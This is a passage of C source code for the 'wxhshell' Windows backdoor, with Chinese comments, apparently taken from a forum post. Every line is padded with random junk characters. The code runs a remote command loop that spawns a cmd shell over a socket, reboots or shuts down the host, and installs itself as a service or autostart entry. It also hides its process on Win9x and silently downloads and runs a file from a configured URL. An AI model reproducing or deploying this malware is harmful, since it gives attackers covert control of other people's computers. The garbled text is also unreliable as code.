] {=qdgJ  
    switch(cmd[0]) { kS)|oU K  
  rnXoA, c/  
  // 帮助 -nnAe F  
  case '?': { g>_d,#F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i[PksT#p  
    break; 1"U.-I@  
  } pYX!l:hk  
  // 安装 HLl"=m1/>  
  case 'i': { =_`cY^ib+  
    if(Install()) .'S_9le  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &e5,\TQ  
    else P(i E"KH;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (+;%zh-  
    break; EP8R[Q0_"  
    } W! GUA<  
  // 卸载 Fj1'z5$  
  case 'r': { R3E|seR  
    if(Uninstall()) 10r9sR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $H1igYc  
    else A "~Oi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BV]$= e'  
    break; wQ\bGBks  
    } =[`gfw  
  // 显示 wxhshell 所在路径 ;>jOB>b{h  
  case 'p': { XF99h&;9  
    char svExeFile[MAX_PATH]; tdn|mX#  
    strcpy(svExeFile,"\n\r"); +=(@=PJ6  
      strcat(svExeFile,ExeFile); }*56 DX  
        send(wsh,svExeFile,strlen(svExeFile),0); L7s _3\  
    break; 4,:)%KB"V  
    } \w2X.2b.F  
  // 重启 {e83 A /{  
  case 'b': { 4m6%HV8{}[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ' y_2"  
    if(Boot(REBOOT)) =v~$&@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I.)9:7   
    else { {AAi x  
    closesocket(wsh); _"- ,ia[D  
    ExitThread(0); D~@lpcI  
    } !-q)9K?  
    break; \,yg@ R  
    } 9a{9|p>L  
  // 关机 (h% xqXs  
  case 'd': { da5fKK/s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fx/If  
    if(Boot(SHUTDOWN)) ^Rmrre`uU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N1X;&qZDd  
    else { z2OXCZ*/  
    closesocket(wsh); >~@ABLp 6  
    ExitThread(0); +<f!#4T  
    } p *GAs C  
    break; q:G3y[ P  
    } ". wG~H  
  // 获取shell TXfG@4~kC  
  case 's': { 9,0}}3J  
    CmdShell(wsh); 5!7vD|6  
    closesocket(wsh); 'z">4{5  
    ExitThread(0); "I JcKoB  
    break; ?) FY7[x.  
  } ]H=P(Z -  
  // 退出 ;e\K8*o  
  case 'x': { 1:Xg&4s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !4mAZF b  
    CloseIt(wsh); |@*   
    break; UymhBh  
    } QjyJmW("Z  
  // 离开 KPdlg.  
  case 'q': { aN~x3G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); anFl:=  
    closesocket(wsh); qgsw8O&  
    WSACleanup(); n]bxG8~t  
    exit(1); Ct}rj-L<i  
    break; 3E:+DF-Z\  
        } *AA78G|  
  } fDZnC Fa  
  } fh@/fd  
u&$1XZ!es  
  // 提示信息 B \>W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^j]"5@f  
} |~YhN'OJ  
  } 6G>bZ+  
Tg6nb7@P  
  return; zjwo"6c>  
} 8'Q1'yc  
-/J2;AkGH  
// shell模块句柄 *uMtl'  
int CmdShell(SOCKET sock) 4I3)eS%2  
{ $ 7uxReFZR  
STARTUPINFO si; S-G#+ Ue2  
ZeroMemory(&si,sizeof(si)); Z n]e2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; szD BfGd%j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8Nxyc>8K~  
PROCESS_INFORMATION ProcessInfo; *G;D u`;  
char cmdline[]="cmd"; dV+GWJNNE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LZrkFkiC  
  return 0; (JeRJ4  
} _ +A$6l  
K@;ls  
// 自身启动模式 iuWw(dJk  
int StartFromService(void) <zF/at  
{ ^HNccr  
typedef struct 0vdnM8N2  
{ *Y- rEF>  
  DWORD ExitStatus; gBXJ/BW$y  
  DWORD PebBaseAddress; '2c4 4F)i  
  DWORD AffinityMask; Wx-rW  
  DWORD BasePriority; ,ikn%l#cm  
  ULONG UniqueProcessId; /BfCh(B  
  ULONG InheritedFromUniqueProcessId; B,RHFlp{  
}   PROCESS_BASIC_INFORMATION; 3|.KEJC"  
SLI358]$<  
PROCNTQSIP NtQueryInformationProcess; e+P|PW  
)lB*] n`Z]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _JXb|FIp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -Hu]2J)  
C**kJ  
  HANDLE             hProcess; ut;KphvSH  
  PROCESS_BASIC_INFORMATION pbi; PVUNi: h  
X.<2]V7!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ' $X}'u  
  if(NULL == hInst ) return 0; ?c# v'c^=h  
4p_@f^v~QH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HH,G3~EBF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p4I6oS`/.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  S]&7  
;gv9J [R  
  if (!NtQueryInformationProcess) return 0; t&Z:G<;  
qf6}\0   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SZ"^>}zl=  
  if(!hProcess) return 0; Gzu $  
KoO\<_@";  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3?oj46gP  
XW9 [VUW~  
  CloseHandle(hProcess); 0i65.4sK  
jYJfo<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $)Pmr1==  
if(hProcess==NULL) return 0; *`.4M)Ym~  
LjA>H>8%[  
HMODULE hMod; &y=~:1&f  
char procName[255]; pM'AhzS  
unsigned long cbNeeded; oFUP`p%[  
(_O_zu8_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9:jZ3U  
mbRN W  
  CloseHandle(hProcess); B$cx '_zF  
>QM$ NIf@  
if(strstr(procName,"services")) return 1; // 以服务启动 wXxk+DV@  
~",,&>#[K  
  return 0; // 注册表启动 )t$|'c}  
} dLI`\e<r&[  
3xz{[5<p  
// 主模块 w/m ~#`a  
int StartWxhshell(LPSTR lpCmdLine) Oy/+uw^  
{ H Ql_ /:Wx  
  SOCKET wsl; Nm]\0m0p-  
BOOL val=TRUE; fr<, LC.  
  int port=0; 9K F`9Y  
  struct sockaddr_in door; y*Wl(w3  
E-q*u(IW  
  if(wscfg.ws_autoins) Install(); z!6:Dt6^  
p6'wg#15  
port=atoi(lpCmdLine); |J#mgA}(  
d^.fB+)A3  
if(port<=0) port=wscfg.ws_port; (l3P<[[?  
sS|N.2*  
  WSADATA data; \aG:l.IM0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4l*4w x""v  
H:HJHd"W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L'Fy\K\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A_WtmG_9  
  door.sin_family = AF_INET; &u/T,jy`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zWh[U'6  
  door.sin_port = htons(port); ]o]*&[C  
qSWnv`hL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pZ4]oK\*  
closesocket(wsl); P$=Y5   
return 1; yy6?16@  
} R_2JP C  
uR7\uvibUO  
  if(listen(wsl,2) == INVALID_SOCKET) { :9`T.V<?  
closesocket(wsl); *!*J5/ b  
return 1; :3x|U,wC  
} Q0j$u[x6s  
  Wxhshell(wsl); ^L1#  
  WSACleanup(); C,xM) V^a  
L)o7~M  
return 0; g.d%z  
EO5k?k[*  
} d?/?VooU  
!~&vcz0>)9  
// 以NT服务方式启动 /WJ*ro]Hd$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OxraaN`  
{ Bld$<uU  
DWORD   status = 0; *X K9-%3  
  DWORD   specificError = 0xfffffff; MMfcY 3#%  
oZV=vg5Dq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eiaL zI,O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {rG`Upp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [J|)DUjt  
  serviceStatus.dwWin32ExitCode     = 0; THM\-abz  
  serviceStatus.dwServiceSpecificExitCode = 0; u9*}@{,  
  serviceStatus.dwCheckPoint       = 0; v@0lTl_  
  serviceStatus.dwWaitHint       = 0; XKU+'Tz  
zW_V)U Ne  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /i]!=~\qFs  
  if (hServiceStatusHandle==0) return; ,rp-`E5ap  
,HxsU,xiG  
status = GetLastError(); [~ sXjaL8  
  if (status!=NO_ERROR) *8uSy/l  
{ GP5Y5 )  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; btK| U  
    serviceStatus.dwCheckPoint       = 0; =x4:jas  
    serviceStatus.dwWaitHint       = 0; _Z|s!~wdz  
    serviceStatus.dwWin32ExitCode     = status; PL#8~e;'  
    serviceStatus.dwServiceSpecificExitCode = specificError; \1[I(u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xp=Y<`dX  
    return; :A,V<Es}I"  
  } (c<Krc h  
J2`b:%[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XLK#=YTI  
  serviceStatus.dwCheckPoint       = 0; -T4{PM  
  serviceStatus.dwWaitHint       = 0; #cBt@SEL'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -BNlZgk-^  
} QJ`#&QRp  
y#AwuC K  
// 处理NT服务事件,比如:启动、停止 o?f7_8fG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G"= tQ$ZU  
{ N;A #3Ter  
switch(fdwControl) \vB-0w  
{ ]Ph~-O  
case SERVICE_CONTROL_STOP: x7X"'1U  
  serviceStatus.dwWin32ExitCode = 0; 0(|BQ'4~H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .(,4a<I?%N  
  serviceStatus.dwCheckPoint   = 0; R<gC,eV<=  
  serviceStatus.dwWaitHint     = 0; 0}YR=  
  { Rla4XN=mf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dUtxG ~9  
  } Y WSo:)LY  
  return; pCz;km  
case SERVICE_CONTROL_PAUSE: x+vNA J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qwu++9BM  
  break; ^A^,/3  
case SERVICE_CONTROL_CONTINUE: `~hAXnQK=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8x jJ  
  break; *J!oV0#1  
case SERVICE_CONTROL_INTERROGATE: \`#;J?Y|`F  
  break; ,epKt(vl  
}; {4 !%'~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 22\Buk}?  
} FDaHsiI:  
C+Wb_  
// 标准应用程序主函数 "aN<3b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GdavCwJ  
{ aW7{T6.,  
)^uLZMNaI  
// 获取操作系统版本 $jb0/  
OsIsNt=GetOsVer(); N:!XtYA<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BJk:h-m [  
0}qij  
  // 从命令行安装 />XfK,c-  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z&=K+P  
BBw`8!  
  // 下载执行文件 L`YnrDZK  
if(wscfg.ws_downexe) { =iRi 9r'l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I]>-~_  
  WinExec(wscfg.ws_filenam,SW_HIDE); YH^_d3A;  
} d3T|N\(DL  
(| Am  
if(!OsIsNt) { .b]g# Du=  
// 如果时win9x,隐藏进程并且设置为注册表启动 Tk9*@kqv  
HideProc(); Phl't~k  
StartWxhshell(lpCmdLine); k0?4vA  
} tnbaU%;|J  
else L1`^~m|  
  if(StartFromService()) 0/<}.Z]  
  // 以服务方式启动 [kzcsJ'/e  
  StartServiceCtrlDispatcher(DispatchTable); cD8.rRyD  
else Q{!lLka  
  // 普通方式启动  M}}9  
  StartWxhshell(lpCmdLine); 3O<<XXar  
{o7ibw=E)  
return 0; h[3N/yP  
}
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只看该作者 1 发表于: 2006-10-10
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